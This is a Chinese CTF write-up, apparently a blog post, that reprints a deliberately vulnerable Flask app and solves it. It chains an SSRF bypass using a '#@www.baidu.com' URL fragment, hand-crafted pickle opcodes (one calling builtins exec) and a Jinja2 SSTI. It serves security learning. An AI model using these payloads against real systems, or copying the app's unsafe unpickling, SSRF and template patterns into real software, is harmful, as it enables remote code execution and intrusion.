班长出题(带源码):python反序列化 + ssti + SSRF + remote_addr路由绕过 + url中的#定位符

第五题:

一、自己做:

做了个der,,,
审计代码差远了,

二、不足&&学到的:

  1. 学习了python的反序列化+入门级别的绕过
  2. url中的#定位符后面的不解析,就像sql注入中的#注释符一样,好用的很,
  3. remot_addr()不可伪造,如果可能的话,只有通过路由来伪造,
  4. ssti的敏感词 不认识 没有看出来Temlpate 是ssti的敏感词
  5. ssti无回显试getflag

理一下思路:
通过get_url路由进行绕过,绕过remote_addr进入admin路由,然后不适用R操作码进行反序列化的变量覆盖, + ssti 得到 ****

三、学习WP:

思路学习:

源码如下:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask,render_template
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import io

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("only __main__")


def get_domain(url):
    if url.startswith('http://'):
        url = url[7:]
        if not url.find("/") == -1:
            domain = url[url.find("@")+1:url.index("/",url.find("@"))]
        else:
            domain = url[url.find("@")+1:]
        return domain
    else:
        return False


@app.route("/", methods=['GET'])
def index():
    return render_template("index.html")


@app.route("/get_baidu", methods=['GET'])
def get_baidu():
    url = request.args.get("url")
    if(url == None):
        return "please get url"
    if(get_domain(url) == "www.baidu.com"):
        content = urllib.request.urlopen(url).read()
        return content
    else:
        return render_template('index.html')


@app.route("/admin", methods=['GET'])
def admin():
    data = request.args.get("data")
    if(data == None):
        return "please get data"
    ip = request.remote_addr
    if ip != '127.0.0.1':
        return redirect('index')
    else:
        name = base64.b64decode(data)
        if b'R' in name:
            return "no __reduce__"
        name = RestrictedUnpickler(io.BytesIO(name)).load()
        if name == "admin":
            t = Template("Hello " + name)
        else:
            t = Template("Hello " + ctf_config.name)
        return t.render()


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=8000)

这是开始页面
在这里插入图片描述

1.绕过get_domain()

get_baidu这个路由,

@app.route("/get_baidu", methods=['GET'])
def get_baidu():
    url = request.args.get("url")
    if(url == None):
        return "please get url"
    if(get_domain(url) == "www.baidu.com"):
        content = urllib.request.urlopen(url).read()
        return content
    else:
        return render_template('index.html')

先进行了get_domain这个函数过滤这个有小讲一下这个get_domain()的

2.绕过remote_addr() + #

然后读取 url 的内容,是学习班长的:

http://127.0.0.1:8080/admin#@www.baidu.com/

这样读取到定位符前边,就成功换路由了,这样我们就能够到了admin页面上去啦!!!。。。但是好像直接就能进去,,,哎呀不影响了。

这样不行,这里:

ssrf

    ip = request.remote_addr
    if ip != '127.0.0.1':

这个remote_addr不可伪造,限制了只能够是127.0.0.1 。网上也搜过了,无法伪造,如果可能的话也只能够通过路由来伪造,也就是这个题的考点,

这个也就是限制了只能够通过ssrf的方式来进行访问,
remote_addr相关知识。获取真是ip浏览器的ip

这个讲#的,。也就是相当于注释符吧,他说不会刷新页面只会存留一个历史记录,
在这里插入图片描述然后就进去了,,班长的payload。

/get_baidu?url=http://127.0.0.1%3A8000/admin%23@www.baidu.com/

然后今来之后

        name = base64.b64decode(data)
        if b'R' in name:
            return "no __reduce__"
        name = RestrictedUnpickler(io.BytesIO(name)).load()
        if name == "admin":
            t = Template("Hello " + name)
        else:
            t = Template("Hello " + ctf_config.name)
        return t.render()

不能用reduce来,那就用变量覆盖嘛,

3. 关于反序列化

关于python反序列化

方法一:exec的方法,(纯属为了复习opcode)

在这里插入图片描述
pychar搓出来的opcode码

b"cbuiltins\nexec\n(Vctf_config.name='{
    
    {2*2}}'\ntR."

。。
在这里插入图片描述

艹了,大意了,,后面又R,忘求了,,,

方法二、一定有方法二的

算了,记不起来了,也没有找到,放一放吧,
班长这个方法不就是么,

b"c__main__\nctf_config\n}S'name'\nS'{
    
    {1+1}}'\nsb."

在这里插入图片描述

和我上个方法差不多 d 指令是创造一个dict,这个s指令是添加一个dict元素,首先有个dict就可以了
。搜不到详细解释s操作码的文章,怎么用也能看明白,
其他方法够用了,这个方法放一放d和s之分而已

方法三:用这个变量覆盖的方法(后面的用的是这个方法):

直接变量覆盖,mian然后到py文件

手搓opcode码:

b"c__main__\nctf_config\n(Vname\nV{
    
    {1}}\ndb."

在这里插入图片描述

如果兄弟萌没怎么看明白的话可以戳这个:这个的第三点有详细的解释。

然后,这里因为他是b64decode,所以我们先b64encode()一下,变成这样Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=

然后测试一下:get_baidu?url=http://127.0.0.1:8000/admin?data=Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=#@www.baidu.com/

然后这个编一下码,

????

然后测试 ssti 的poc:get_baidu?url=http%3A%2F%2F127.0.0.1%3A8000%2Fadmin?data=Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=%23%40www.baidu.com%2F

测试,发现成功了,

在这里插入图片描述

4. 接着做 python反序列化 + ssti

接下来就是ssti的问题了,这个就不再班门弄斧了,找个poc上去就行了。

结果不行,,网上那些poc不对,但是他又没有过滤啊,

那就可能是 位置不一样了,
看看
这是看这个:[].__class__.__base__.__subclasses__()
。。。。
在这里插入图片描述黑脸,,

没有外显,怎么办,怎么办,,,

在我即将自暴自弃照抄 班长的WP的时候,我突然发现f12可以看到哎,,
在这里插入图片描述
然后我就,,,copy到文本文件里面,数数是第几个,,具体怎么数的就不说了,太笨了,试出来了,是第202个。。。。

在这里插入图片描述
终于找到了,没有过滤,好说,套上poc

在这里插入图片描述

换上就出了,

flag{Pyth0n_1s_th3_sec0nd_b3st_l4ngu4g3_1n_th3_w0r1d}

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114660490